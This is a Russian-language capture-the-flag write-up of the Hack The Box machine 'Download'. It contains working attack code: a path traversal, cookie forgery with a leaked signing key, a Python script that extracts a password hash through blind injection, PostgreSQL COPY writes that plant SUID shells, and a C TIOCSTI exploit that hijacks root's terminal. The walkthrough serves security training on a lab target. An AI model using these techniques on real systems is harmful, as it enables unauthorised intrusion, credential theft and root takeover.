HTB Download. Перехватываем терминал суперпользователя при атаке на хост
В этом райтапе я продемонстрирую технику TTY hijacking, которая позволяет захватить сессию терминала суперпользователя. Также проэксплуатируем path traversal для получения доступа к исходному коду приложения на Node.js, украдем сессию пользователя через создание cookie и применим слепую инъекцию для получения конфиденциальной информации.
Нашей целью будет захват тренировочной машины Download с площадки Hack The Box. Уровень ее — сложный.
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в файл /etc/hosts:
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Сканер нашел два открытых порта:
ТОЧКА ВХОДА
Изучая сайт, находим форму загрузки файлов.
Просматривая этот запрос в Burp History, увидим типичную для приложения на Node.js форму cookie.
Авторизуемся на сайте, декодируем значение download_session и проверим, что изменилось.
У нас появился параметр user, содержащий имя пользователя и его идентификатор. Также для проверки я загрузил файл и увидел, что сообщение о выполнении действия попадает в параметр success.
ТОЧКА ОПОРЫ
Path traversal
Страница /files/download/ отдает нам файл при скачивании. Стоит проверить, нет ли здесь уязвимости обхода каталога. Сделать это можно, запросив файл package.json, характерный для программ на Node.js. Я использую Burp Intruder и словарь с разными вариантами указания пути к файлу.
В итоге получаем содержимое package.json, откуда узнаем, что основной файл называется app.js, а также имя пользователя — wesley. Теперь тем же способом запросим файл app.js.
Получаем ключ для подписи куки (строка 39), а еще видим использование SQL-запросов (строка 59).
Cookie
Имея ключ, мы можем манипулировать значениями куки, создавая и подписывая их для любого пользователя. В этом нам поможет утилита cookie-monster. Установим ее.
npm install --global yarn git clone https://github.com/DigitalInterruption/cookie-monster cd cookie-monster yarn installyarn link
Сохраним значение куки в файл и поменяем имя пользователя на wesley. Затем сгенерируем нужные нам значения.
./cookie-monster.js -e -f cookie.txt -k 8929874489719802418902487651347865819634518936754 -n download_session
Подставляем сгенерированные значения в запрос и получаем страницу нового пользователя.
В окружении пользователя на сайте ничего не находим, поэтому продолжим просматривать исходные коды. В уже известном нам файле app.js отмечаем подключаемые модули.
Первым делом я просмотрел содержимое файла routers/auth.js. Наиболее интересен в нем блок кода для получения пользователя с помощью функции findFirst (строки 41–44).
Кроме параметра имени пользователя, есть еще и параметр password. Учитывая, что для выборки из базы используется findFirst, можно протестировать инъекцию, основанную на использовании в передаваемых параметрах других операторов: contains, startWith и прочих возвращающих булевы значения. К примеру, следующее значение cookie отобразило файлы пользователя!
{ "flashes":{ "info":[], "error":[], "success":[""] }, "user":{ "username":{ "contains": "WESLEY" }, "password":{ "startsWith":"" } }}
В самих файлах ничего интересного нет, зато мы можем попытаться подобрать хеш пароля пользователя.
Автоматизация
Смысл в том, чтобы поочередно перебирать символы хеша пароля. Как только реальный хеш будет начинаться с указанной последовательности, мы получим отличный от остальных случаев ответ и начнем перебирать следующий символ хеша.
import subprocess import json import requests passwd =
""chars = "0123456789abcdef"tmp_pass = ""def getCookie(password):
data = {"flashes":{"info":[],"error":[],"success":[""]},"user":{"username":{"contains": "WESLEY"},"password":{"startsWith":password}}} with open("cookie.txt","w") as f: f.write(json.dumps(data))
out = subprocess.check_output(["./cookie-monster/bin/cookie-monster.js", "-e", "-f", "cookie.txt", "-k", "8929874489719802418902487651347865819634518936754", "-n", "download_session"]).decode() index1 = out.index("download_session=") + len("download_session=") out = out[index1:]
sess = out[:out.index("\x1b")]
index2 = out.index("download_session.sig=") + len("download_session.sig=") out = out[index2:]
sig = out[:out.index("\x1b")] return sess, sig for i in range(32):
for c in chars: tmp_pass = passwd + c print("Hash: " + tmp_pass, end='\r') sess, sig = getCookie(tmp_pass)
cookie = {"download_session": sess, "download_session.sig": sig}
r = requests.get('http://download.htb/home/', cookies=cookie)
if( len(r.text) != 2174 ): passwd = tmp_pass
breakprint("Hash: " + passwd)
Спустя несколько минут получаем хеш MD5 и расшифровываем пароль при помощи сервиса hashes.com.
С полученными учетными данными авторизуемся по SSH и забираем флаг пользователя.
ПРОДВИЖЕНИЕ
Теперь нам необходимо собрать информацию. Я буду использовать для этого скрипты PEASS.
Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на хост скрипт для Linux, дадим право на выполнение и запустим сканирование. В выводе будет много информации, нам нужно отобрать только значимую.
В списке процессов отмечаем работающий PostgreSQL, об этом говорит и прослушиваемый порт 5432. Также у пользователя, от имени которого работает СУБД, есть своя консоль.
Еще полезно просматривать запускаемые процессы с помощью pspy64. Именно это и помогло мне обнаружить, что в системе работает пользовательская служба download-site, а также отметить, что в систему залогинен пользователь postgres.
Просматриваем файл службы /etc/systemd/system/download-site.service. В переменной окружения для запуска процесса находим переменную DATABASE_URL, а в URL — учетные данные для подключения к базе данных.
Подключаемся к базе и получаем информацию о пользователях.
psql -h localhost -p 5432 -U download \du
Наш пользователь — член группы pg_write_server_files, а значит, имеет право на запись в файлы. Для персистентности следующими командами назначим файлу командной оболочки S-бит:
cp /bin/bash /tmp/psql_bash chmod 4777 /tmp/psql_bash
В качестве метода персистентности запишем данные команды в файлы /var/lib/postgresql/.bash_profile и /var/lib/postgresql/.bashrc. Так как выполняется вход от имени пользователя, будут выполнены команды из этих файлов.
COPY (SELECT CAST ('/bin/bash -c "cp /bin/bash /tmp/psql_bash ;
chmod 4777 /tmp/psql_bash"' AS text)) TO '/var/lib/postgresql/.bash_profile';COPY (SELECT CAST ('/bin/bash -c "cp /bin/bash /tmp/psql_bash ; chmod 4777 /tmp/psql_bash"' AS text))
TO '/var/lib/postgresql/.bashrc';
Спустя некоторое время проверяем, не появился ли файл /bin/bash в каталоге /tmp.
У файла выставлен S-бит, а значит, мы можем получить сессию от имени пользователя postgres.
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
TTY hijacking
Увы, этому пользователю ничего интересного не доступно. Тогда вернемся к способу входа через su -l. Здесь можно попробовать попасть в сессию пользователя, от имени которого выполняется команда su. Эта техника называется TTY hijacking. Хотя sudo и su в данном случае меняют UID исполняемого процесса на UID пользователя без полномочий, терминал по‑прежнему остается терминалом пользователя root и, как оказалось, доступен непривилегированному пользователю.
Текущий терминал программы всегда доступен через файл /dev/tty. Мы можем его открыть от имени пользователя без полномочий, а затем использовать сискол ioctl для подделки пользовательского ввода. Это позволит нам вводить команды в чужой терминал. Для эксплуатации этой техники можно использовать следующий эксплоит:
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/ioctl.h>
int main() { int fd = open("/dev/tty", O_RDWR); if (fd < 0) { perror("open"); return -1; } char *x =
"exit\n/bin/bash -c 'cp /bin/bash /tmp/root_bash;
chmod 4777 /tmp/root_bash'\n"; while (*x != 0) {
int ret = ioctl(fd, TIOCSTI, x); if (ret == -1) { perror("ioctl()"); } x++; } return 0;}
Здесь сначала завершается работа текущей командной оболочки пользователя (exit\n), а затем записывается уже знакомая полезная нагрузка. После завершения работы командной оболочки пользователя postgres шелл пользователя root считывает поддельный пользовательский ввод и выполняет его.
Компилируем эксплоит и даем права на выполнение для всех.
gcc exploit.c -static -o lpe.bin chmod 777 /tmp/lpe.bin
Теперь повторим технику выполнения файла через bash_profile и bashrc, после чего проверим, появился ли файл командной оболочки, но уже созданный рутом.
COPY (SELECT CAST ('/bin/bash -c /dev/shm/lpe.bin' AS text))
TO '/var/lib/postgresql/.bash_profile';COPY (SELECT CAST
('/bin/bash -c /dev/shm/lpe.bin' AS text))
TO '/var/lib/postgresql/.bashrc';
Атака прошла успешно, теперь мы можем перейти к сессии root и забрать второй флаг.